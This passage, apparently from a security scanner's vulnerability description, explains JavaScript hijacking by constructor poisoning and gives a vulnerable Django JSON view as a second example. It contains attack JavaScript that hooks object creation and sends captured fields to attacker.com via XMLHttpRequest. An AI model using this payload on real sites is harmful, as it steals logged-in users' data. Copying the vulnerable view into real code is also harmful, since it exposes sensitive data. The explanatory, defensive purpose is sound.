// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}

// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>


The malicious code uses a script tag to include the JSON object in the current page. The web browser will send up the appropriate session cookie with the request. In other words, this request will be handled just as though it had originated from the legitimate application.

When the JSON array arrives on the client, it will be evaluated in the context of the malicious page. In order to witness the evaluation of the JSON, the malicious page has redefined the JavaScript function used to create new objects. In this way, the malicious code has inserted a hook that allows it to get access to the creation of each object and transmit the object's contents back to the malicious site. Other attacks might override the default constructor for arrays instead. Applications that are built to be used in a mashup sometimes invoke a callback function at the end of each JavaScript message. The callback function is meant to be defined by another application in the mashup. A callback function makes a JavaScript hijacking attack a trivial affair -- all the attacker has to do is define the function. An application can be mashup-friendly or it can be secure, but it cannot be both. If the user is not logged into the vulnerable site, the attacker may compensate by asking the user to log in and then displaying the legitimate login page for the application.

This is not a phishing attack -- the attacker does not gain access to the user's credentials -- so anti-phishing countermeasures will not be able to defeat the attack. More complex attacks could make a series of requests to the application by using JavaScript to dynamically generate script tags. This same technique is sometimes used to create application mashups. The only difference is that, in this mashup scenario, one of the applications involved is malicious.

Example 2: The following code shows a sample Django view method that sends a JSON response containing sensitive data in the form of a JSON array.


from django.http.response import JsonResponse
...
def handle_upload(request):
response = JsonResponse(sensitive_data, safe=False) # Sensitive data is stored in a list
return response
References
[1] B. Chess, Y. O'Neil, and J. West JavaScript Hijacking
[2] Joe Walker JSON is not as safe as people think it is
[3] Jeremiah Grossman Advanced Web Attack Techniques using GMail
[4] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[5] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[6] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2.0
[7] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 7
[8] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[10] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[13] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[14] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[28] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[29] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.structural.python.javascript_hijacking_constructor_poisoning